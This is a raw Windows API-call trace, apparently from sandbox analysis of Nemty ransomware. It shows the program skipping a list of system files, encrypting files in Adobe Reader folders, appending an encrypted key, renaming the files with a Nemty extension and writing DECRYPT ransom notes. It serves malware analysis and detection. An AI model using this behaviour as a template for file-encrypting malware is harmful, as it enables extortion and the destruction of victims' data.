[0174.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.380] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Search.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\search.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Search.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\search.cze._nemty_kgobjgd_")) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.380] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.CZE", cAlternateFileName="")) returned 1 [0174.380] lstrcmpiW (lpString1="SendMail.CZE", lpString2=".") returned 1 [0174.380] lstrcmpiW (lpString1="SendMail.CZE", lpString2="..") returned 1 [0174.380] lstrcmpiW (lpString1="SendMail.CZE", lpString2="...") returned 1 [0174.380] lstrcmpiW (lpString1="SendMail.CZE", lpString2="windows") returned -1 [0174.380] lstrcmpiW (lpString1="SendMail.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.380] lstrcmpiW (lpString1="SendMail.CZE", lpString2="rsa") returned 1 [0174.380] lstrcmpiW (lpString1="SendMail.CZE", lpString2="NTDETECT.COM") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="ntldr") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="MSDOS.SYS") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="IO.SYS") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="boot.ini") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="boot.ini") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="ntuser.dat") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="desktop.ini") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="CONFIG.SYS") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="RECYCLER") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="bootmgr") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="programdata") returned 1 [0174.381] lstrcmpiW (lpString1="SendMail.CZE", lpString2="appdata") returned 1 [0174.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0174.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CZE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CZE", lpUsedDefaultChar=0x0) returned 12 [0174.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.382] Sleep (dwMilliseconds=0x5) [0174.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b976fd0, dwHighDateTime=0x1d561e8)) [0174.390] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b976fd0, dwHighDateTime=0x1d561e8)) [0174.390] GetLastError () returned 0x0 [0174.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.390] GetLastError () returned 0x0 [0174.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.390] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.391] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.391] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9/a6BtLd6oh3D0dF8I6TNneCSLr7+2BHK5G2iC+re75//GeMc2/F9myDKPvh9iDU\r\ns7JwZBkGe3P0SzbE0O556qut6GBEYToesiKbgZ1Nl4RoFlrovdLBHK/RaROK+BjH\r\nlYn6fWObsTNS9skrOoYGki3ni1RXcHj1Ukdf4xCMYvogp1P8ZvN19J3jONcxaSVy\r\nRb9WkwrtRJ2es5sJTdpYyOe5LV94x8OlZYNAj8a++BUliLCC0XqKfU/nOdx6Lr/1\r\n9orqO1Sl5/xxYt20g96ZLJj0PXbDXxG7neMw8GUWa/W96j1T6N2zLKEhaGy22asg\r\nE/vtVUfZyGrS1nM3Ju23vA==\r\n", pcchString=0x653e5dc) returned 1 [0174.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\sendmail.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.391] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15360) returned 1 [0174.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c00) returned 0x6352c48 [0174.391] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.391] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3c00, lpOverlapped=0x0) returned 1 [0174.394] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.394] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3c00, lpOverlapped=0x0) returned 1 [0174.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.394] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c00 [0174.394] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.394] CloseHandle (hObject=0x2e8) returned 1 [0174.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.394] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\sendmail.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SendMail.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\sendmail.cze._nemty_kgobjgd_")) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.395] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0174.395] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0174.396] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0174.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0174.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.399] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.399] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0174.400] CloseHandle (hObject=0x2e8) returned 1 [0174.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0174.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0174.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0174.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.401] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.401] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0174.402] CloseHandle (hObject=0x2e8) returned 1 [0174.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0174.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.402] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1b976fd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b976fd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0174.402] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0174.402] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, 